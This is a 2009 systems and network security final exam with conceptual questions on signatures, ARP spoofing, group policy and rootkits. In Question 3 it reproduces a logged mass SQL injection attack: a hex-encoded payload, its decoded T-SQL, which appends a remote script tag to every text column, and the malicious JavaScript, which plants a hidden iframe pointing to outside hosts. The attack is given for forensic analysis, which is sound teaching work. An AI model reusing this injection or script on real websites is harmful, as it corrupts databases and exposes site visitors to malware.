Systems and Network Security Final Exam

Date : 14.07.2009
Duration : 120 Mins.

Q1	Q2	Q3	Q4	Q5	Q6	Q7	Q8	Q9	Q10	Total
10	10	50	10	35	10					125 pts

Questions

1) Explain how digital signatures work. Why are hash functions used in digital signatures? Can they be attacked? How? **(10 Pts.)**

2) What can an attacker accomplish, if he/she found a way to overwrite the secinfo file of an SAP Netweaver application server? Does this attack have immediate results? **(10 Pts.)**

3) You notice the following in the logs of one of your webservers:

```
GET /IMAGING/show_product.asp
fn=Apple&id=130gp;DECLARE%20@S%20VARCHAR(4000);SET%20@S=CAST(0x4445434C4152
45204054205641524348415228323535292C4043205641524348415228323535292044454 34
C415245205461626C655F437572736F7220435552534F5220464F522053454C45435420612E
6E616D652[…]626C655F437572736F7220494E544F2040542C404320454E4420434C4F53452
05461626C655F437572736F72204445414C4C4F43415445205461626C655F437572736F7220
%20AS%20VARCHAR(4000));EXEC(@S);-- 8041 - 122.52.149.50
Mozilla/4.0+(compatible;+MSIE+7.0;+Windows+NT+5.1;+.NET+CLR+2.0.50727) 200
```

- You issue the following command on an SQL database :

```
"select cast(0x4445434C41524520405420564152434841 52[…data above]);"
```

- Resulting screen:

```
DECLARE @T VARCHAR(255),@C VARCHAR(255) DECLARE Table_Cursor CURSOR FOR
SELECT a.name,b.name FROM sysobjects a,syscolumns b WHERE a.id=b.id AND
a.xtype='u' AND (b.xtype=99 OR b.xtype=35 OR b.xtype=231 OR b.xtype=167)

OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C
WHILE(@@FETCH_STATUS=0) BEGIN

EXEC('UPDATE ['+@T+'] SET
['+@C+']=RTRIM(CONVERT(VARCHAR(4000),['+@C+']))+''<script
src=http://www.lkc2.ru/ngg.js></script>''') FETCH NEXT FROM Table_Cursor
INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor
```

- Contents of http://www.lkc2.ru/ngg.js :

```
window.status="";
```

```
n=navigator.userLanguage.toUpperCase();

if((n!="ZH-CN")&&(n!="ZH-MO")&&(n!="ZH-
HK")&&(n!="BN")&&(n!="GU")&&(n!="NE")&&(n!="PA")&&(n!="ID")&&(n!="EN-
PH")&&(n!="UR")&&(n!="RU")&&(n!="KO")&&(n!="ZH-
TW")&&(n!="ZH")&&(n!="HI")&&(n!="TH")&&(n!="VI")){

var cookieString = document.cookie;

var start = cookieString.indexOf("v1goo=");

if (start != -1){}else{

var expires = new Date();

expires.setTime(expires.getTime()+9*3600*1000);

document.cookie = "v1goo=update;expires="+expires.toGMTString();

try{

document.write("<iframe src=http://bosf.ru/cgi-bin/index.cgi?ad width=0
height=0 frameborder=0></iframe>");

}catch(e){};}}
```

- Google search for "http://www.lkc2.ru/ngg.js"

```
6238 results
```

- Contents of http://bosf.ru/cgi-bin/index.cgi?ad :

```
<script type="text/javascript">

<!--

window.location = "http://www.msn.com/"

//-->

</script>
```

a. Describe in details how the attack took place and what the attacker was trying to achieve. **(30 Pts.)**

b. How would you classify this attack? **(5 Pts.)**

c. Is this a targeted attack? Why/Why not? **(5 Pts.)**

d. What is the use of navigator.userLanguage section? **(5 Pts.)**

e. Why does http://bosf.ru/cgi-bin/index.cgi?ad section point to msn.com? **(5 Pts.)**

4) Please explain Arp spoofing in details. How can you prevent it? **(10 Pts.)**

5) Please explain the security implications of the following group policy settings. Mention at least one attack vector per setting. Also mention the recommended parameters:

a. "Accounts: Rename administrator account"

b. "Audit: Audit the use of Backup and Restore privilege"

c. "Devices: Prevent users from installing printer drivers"

d. "Interactive logon: Do not require CTRL+ALT+DEL"

e. "Network security: Do not store LAN Manager hash value on next password change"

f. "Network access: Do not allow anonymous enumeration of SAM accounts"

g. "Deny access to this computer from the network" **(35 Pts.)**

6) What would you recommend to Oracle for preventing database rootkits? **(10 Pts.)**

Good Luck!
Ertunga Arsal